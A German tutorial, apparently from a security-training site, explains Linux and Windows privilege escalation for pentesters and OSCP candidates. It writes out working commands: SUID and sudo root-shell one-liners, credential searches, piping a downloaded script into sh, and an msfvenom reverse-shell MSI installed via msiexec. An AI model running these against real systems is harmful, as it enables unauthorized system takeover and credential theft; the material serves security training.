Privilege Escalation erklärt: Linux und Windows Rechteausweitung 2026
7. September 2026 · von Pentevo
Nach dem initialen Zugriff auf ein System folgt in jedem Penetrationstest die Privilege Escalation — die Rechteausweitung von einem niedrig-privilegierten auf einen hoch-privilegierten Account. Erst als root (Linux) oder SYSTEM/Administrator (Windows) haben Sie vollständige Kontrolle und können die volle Auswirkung einer Kompromittierung demonstrieren.
Privilege Escalation ist ein Kernthema des OSCP und aller praktischen Pentesting-Zertifizierungen.
Linux Privilege Escalation
Enumeration: Der erste Schritt
Vor jeder Exploitation kommt gründliche Enumeration. Manuell oder automatisiert:
Manuelle Checks:
id # Aktuelle User-ID und Gruppen
sudo -l # Welche Befehle dürfen ohne Passwort ausgeführt werden?
find / -perm -4000 2>/dev/null # SUID-Dateien finden
cat /etc/crontab # Cron-Jobs prüfen
ls -la /etc/passwd /etc/shadow # Schreibrechte auf kritische Dateien?
uname -a # Kernel-Version für Kernel-Exploits
Automatisiert mit LinPEAS:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
LinPEAS durchsucht das System nach Hunderten bekannter Fehlkonfigurationen und gibt farbcodierte Ergebnisse aus (rot = hohes Risiko).
Häufige Linux-PrivEsc-Techniken
SUID-Missbrauch: Dateien mit dem SUID-Bit laufen als Eigentümer (oft root) statt als aufrufender User. GTFOBins (gtfobins.github.io) dokumentiert, welche SUID-Binaries missbrauchbar sind.
# Beispiel: find mit SUID
find / -exec /bin/sh -p \; -quit
# Ergebnis: root-Shell
Sudo-Fehlkonfigurationen:
sudo -l
# Zeigt: (root) NOPASSWD: /usr/bin/python3
python3 -c 'import os; os.system("/bin/bash")'
# Root-Shell ohne Passwort
Schwache Cron-Job-Berechtigungen: Scripts, die als root im Cron laufen und für andere User schreibbar sind, können zur Code-Ausführung als root genutzt werden.
Kernel-Exploits: Veraltete Kernel haben bekannte Exploits (DirtyCow, OverlayFS). Nur verwenden, wenn keine andere Methode verfügbar — Kernel-Exploits können Systeme instabilisieren.
Passwörter und Credentials:
find / -name "*.conf" -o -name "*.config" 2>/dev/null | xargs grep -l "password" 2>/dev/null
history # Bash-History nach Passwörtern
env # Umgebungsvariablen
Windows Privilege Escalation
Enumeration mit WinPEAS
# Herunterladen und ausführen
.\winPEASany.exe
WinPEAS prüft: Unquoted Service Paths, schwache Registry-Berechtigungen, AlwaysInstallElevated, Token-Impersonation-Möglichkeiten, gespeicherte Credentials.
Manuelle Checks:
whoami /priv # Aktuell gehaltene Privilegien
net localgroup administrators # Administratorgruppe
wmic service list brief # Dienste und ihre Ausführungspfade
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Häufige Windows-PrivEsc-Techniken
Unquoted Service Paths: Dienste mit Leerzeichen im Pfad ohne Anführungszeichen sind verwundbar:
C:\Program Files\Vulnerable Service\service.exe
Windows sucht nacheinander: C:\Program.exe, C:\Program Files\Vulnerable.exe — wenn Sie C:\Program.exe erstellen können, wird diese als SYSTEM ausgeführt.
Token-Impersonation (Hot Potato, PrintSpoofer, JuicyPotato): Mit bestimmten Privilegien (SeImpersonatePrivilege) können Token höherprivilegierter Prozesse erbeutet werden. Besonders häufig in Web-Anwendungs-Szenarien.
AlwaysInstallElevated: Wenn aktiviert, können MSI-Dateien als SYSTEM installiert werden — auch ohne Adminrechte.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=X LPORT=4444 -f msi > shell.msi
msiexec /quiet /qn /i shell.msi
Passwort-Mining:
# Gespeicherte Windows-Credentials
cmdkey /list
# Konfigurationsdateien
dir /s /b *pass* *cred* *vnc* *.config
Tools-Übersicht
| Tool | Plattform | Zweck |
|---|---|---|
| LinPEAS | Linux | Automatisierte PrivEsc-Enumeration |
| WinPEAS | Windows | Automatisierte PrivEsc-Enumeration |
| GTFOBins | Linux | SUID/Sudo-Exploitation-Referenz |
| PayloadsAllTheThings | Beide | Umfassende Technik-Sammlung |
| Seatbelt | Windows | Sicherheitscheck-Enumeration |
| PowerUp | Windows | PowerShell PrivEsc-Checks |
| linux-exploit-suggester | Linux | Kernel-Exploit-Vorschläge |
Für OSCP und Pentesting
Privilege Escalation macht etwa 40% des OSCP-Prüfungsaufwands aus. Üben Sie:
- Jeden TryHackMe Linux PrivEsc Room abschließen
- Jeden TryHackMe Windows PrivEsc Room abschließen
- Alle GTFOBins-Techniken verstehen
- Mindestens 10 HTB Easy/Medium-Maschinen von Grund auf root bekommen
Die Pentevo Academy ergänzt diese Praxis mit theoretischem CEH-Fundament zu Zugriffskontrolle und Privilegien-Management.
Häufig gestellte Fragen
Was ist Privilege Escalation?
Privilege Escalation (Rechteausweitung) beschreibt die Technik, mit einem niedrig-privilegierten Konto (z.B. normaler User) höhere Rechte (z.B. root/SYSTEM) auf einem System zu erlangen. Im Penetrationstest ist das der Schritt zwischen initialem Zugriff und vollständiger Systemkontrolle.
Was ist der Unterschied zwischen horizontaler und vertikaler Privilege Escalation?
Vertikal: Niedrig-privilegierter Nutzer → Administrator/root (das ist gemeint, wenn man von 'PrivEsc' spricht). Horizontal: Zugriff auf andere Nutzer-Accounts gleicher Berechtigungsstufe — z.B. von user1 auf user2's Daten zugreifen ohne Rechteerhöhung.
Welche Tools nutzen Pentester für Privilege Escalation?
Linux: LinPEAS, LinEnum, linux-exploit-suggester. Windows: WinPEAS, Seatbelt, PowerUp, BloodHound (für AD). Diese Tools automatisieren die Enumeration von Fehlkonfigurationen, schwachen Berechtigungen und veralteten Softwareversionen.
Wie lerne ich Privilege Escalation am besten?
TryHackMe hat dedizierte Rooms: 'Linux PrivEsc' und 'Windows PrivEsc'. HackTheBox Starting Point enthält PrivEsc-Beispiele. Für OSCP ist GTFOBins (Linux) und PayloadsAllTheThings (Windows) unverzichtbare Referenz.
Weiterführende Artikel
Active Directory Angriffe erklärt: Kerberoasting, BloodHound und DCSync
Wie Angreifer Active Directory kompromittieren: Kerberoasting, Pass-the-Hash, BloodHound, DCSync und Golden Ticket — erklärt für Pentester und Defender.
ToolsHeimlabor für Cybersecurity aufbauen 2026: Hardware, VMs und Tools
Schritt-für-Schritt-Anleitung zum Aufbau eines Cybersecurity-Heimlabors: Hardware-Empfehlungen, VirtualBox vs. VMware, Kali Linux, verwundbare VMs und Kosten.
ToolsPassword Cracking Guide 2026: Hashcat, John the Ripper und Wordlists
Passwörter knacken als Pentester: Hashcat und John the Ripper erklärt, Hash-Typen identifizieren, Wordlists und Rules — für autorisierten Einsatz in Penetrationstests.
ToolsNmap-Befehle: Der praktische Spickzettel (2026)
Die Nmap-Befehle, die Sie tatsächlich brauchen — Host-Discovery, Portscans, Dienst- und OS-Erkennung, Timing und die NSE-Skript-Engine — mit Beispielen.
Praktisch anwenden
Die Pentevo Academy macht aus diesen Konzepten geführte Lektionen, Videos und Quizze — kostenlos.
Kostenlos lernen